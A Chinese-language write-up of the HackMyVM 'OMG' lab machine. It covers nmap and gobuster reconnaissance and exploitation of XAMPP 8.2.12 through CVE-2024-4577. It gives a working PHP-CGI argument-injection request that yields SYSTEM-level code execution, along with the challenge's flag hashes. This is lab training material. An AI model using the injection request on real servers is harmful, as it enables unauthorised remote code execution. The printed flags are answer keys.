<h1>OMG.</h1>
<blockquote>
<a href="https://hackmyvm.eu/machines/machine.php?vm=OMG">https://hackmyvm.eu/machines/machine.php?vm=OMG</a>
</blockquote>
Notes：Inspired by Orange Tsai.
<h2>前期踩点</h2>
<pre><code class="hljs language-bash">➜ OMG nmap -sP 192.168.111.0/24 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-15 11:46 EDT
Nmap scan report for 192.168.111.151
Host is up (0.00024s latency).
MAC Address: 00:0C:29:8F:80:E9 (VMware)
Nmap scan report for 192.168.111.254
Host is up (0.000074s latency).
MAC Address: 00:50:56:E7:CE:2D (VMware)
Nmap scan report for 192.168.111.162
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.08 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ OMG nmap -sT -min-rate 10000 -p- 192.168.111.151
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-15 11:46 EDT
Warning: 192.168.111.151 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.111.151
Host is up (0.0010s latency).
Not shown: 65090 closed tcp ports (conn-refused), 432 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49671/tcp open unknown
MAC Address: 00:0C:29:8F:80:E9 (VMware)
</code></pre>
<pre><code class="hljs language-bash">	➜ OMG nmap -sT -A -T4 -O -p 80,135,139,443,445,5985 192.168.111.151 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-15 11:48 EDT
Nmap scan report for 192.168.111.151 
Host is up (0.00051s latency).
 
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 
|_http-server-header: Apache
| http-title: Free Website Templates
|_Requested resource was http://192.168.111.151/dashboard/
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 
| http-title: Free Website Templates 
|_Requested resource was https://192.168.111.151/dashboard/
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47 
|_http-server-header: Apache 
| tls-alpn: 
|_ http/1.1 
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds? 
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
MAC Address: 00:0C:29:8F:80:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 10|2016|2022|2012|7|8.1|2019|Longhorn|Vista|2008 (97%) 
OS CPE: cpe:/o:microsoft:windows_10:1703 cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_7:::ultimate cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2008:r2 
Aggressive OS guesses: Microsoft Windows 10 1703 (97%), Microsoft Windows Server 2016 build 10586 - 14393 (97%), Microsoft Windows Server 2016 (96%), Microsoft Windows Server 2022 (94%), Microsoft Windows 10 1507 - 1607 (94%), Microsoft Windows Server 2012 R2 Update 1 (94%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (94%), Microsoft Windows 10 1511 (94%), Microsoft Windows Server 2012 or Server 2012 R2 (94%), Microsoft Windows Server 2019 (93%)
No exact OS matches for host (test conditions non-ideal). 
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
 
Host script results: 
|_clock-skew: 2s 
| smb2-security-mode: 
| 3:1:1: 
|_ Message signing enabled but not required
| smb2-time: 
| date: 2025-05-15T15:48:35 
|_ start_date: N/A 
|_nbstat: NetBIOS name: WIN-H3GNRIMJQ65, NetBIOS user: &#x3C;unknown>, NetBIOS MAC: 00:0c:29:8f:80:e9 (VMware) 
 
TRACEROUTE 
HOP RTT ADDRESS 
1 0.51 ms 192.168.111.151 
</code></pre>
<h2>Web渗透</h2>
<h3>信息收集</h3>
访问 <code>HTTP</code> ，杀手的 <code>LOGO</code> 突脸
<img src="/post-images/HackMyVMOMG/image.png" alt="image.png">
检查了一下网页貌似都是属于默认状态
目录扫描
<pre><code class="hljs language-bash">➜ OMG gobuster dir -u http://192.168.111.151 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip -b 404,403 --no-error
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &#x26; Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.111.151
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 301,403,404
[+] User Agent: gobuster/3.6
[+] Extensions: zip,php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 302) [Size: 0] [--> http://192.168.111.151/dashboard/]
/Index.php (Status: 302) [Size: 0] [--> http://192.168.111.151/dashboard/]
/examples (Status: 503) [Size: 364]
/INDEX.php (Status: 302) [Size: 0] [--> http://192.168.111.151/dashboard/]
/dashboard (Status: 301) [Size: 306] [--> http://192.168.111.151/dashboard/]
/IMG (Status: 301) [Size: 300] [--> http://192.168.111.151/IMG/]
/xampp (Status: 301) [Size: 302] [--> http://192.168.111.151/xampp/]
Progress: 661680 / 661683 (100.00%)
===============================================================
Finished
===============================================================
</code></pre>
发现一个意想不到的目录 <code>XAMPP</code> ，XAMPP是一个把Apache网页服务器与PHP、Perl及MariaDB集合在一起的安装包，允许用户可以在自己的电脑上轻易的建立网页服务器。
并且在 2024 还爆出了严重的漏洞 CVE-2024-4577：<a href="https://www.cnblogs.com/phpphp/p/18859709">https://www.cnblogs.com/phpphp/p/18859709</a>
但是我们要知道该<code>XAMPP</code>的版本，这里我在虚拟机上装了一个 <code>XAMPP</code>，在 <code>xampp</code> 目录下有一个 <code>.version</code> 文件，里面可以查看版本号
<img src="/post-images/HackMyVMOMG/image1.png" alt="image.png">
存在此文件，版本为 <code>8.2.12</code>
<img src="/post-images/HackMyVMOMG/image2.png" alt="image.png">
并且在影响版本中
<img src="/post-images/HackMyVMOMG/image3.png" alt="image.png">
<h3>CVE-2024-4577</h3>
这里使用工具：<a href="https://github.com/xcanwin/CVE-2024-4577-PHP-RCE">https://github.com/xcanwin/CVE-2024-4577-PHP-RCE</a>
进行验证，这里包含的是 <code>C:/windows/system.ini</code>
<img src="/post-images/HackMyVMOMG/image4.png" alt="image.png">
成功包含，直接 <code>RCE</code>
<pre><code class="hljs language-bash">POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 192.168.111.151
REDIRECT-STATUS: XCANWIN

&#x3C;?php phpinfo();?>
</code></pre>
<img src="/post-images/HackMyVMOMG/image5.png" alt="image.png">
直接就是 <code>SYSTEM</code> 权限
<img src="/post-images/HackMyVMOMG/image6.png" alt="image.png">
直接读取 <code>root.txt</code> 和 <code>user.txt</code>
<img src="/post-images/HackMyVMOMG/image7.png" alt="image.png">
<pre><code class="hljs language-bash">af70e9322a562983e01a250ca84fe28d
</code></pre>
<img src="/post-images/HackMyVMOMG/image8.png" alt="image.png">
<pre><code class="hljs language-bash">4dcd00d9b6c66a0eae4a30aa0c781406
</code></pre>

HackMyVM - OMG

HackTheBox - Machine - Developer

HackTheBox - Machine - TwoMillion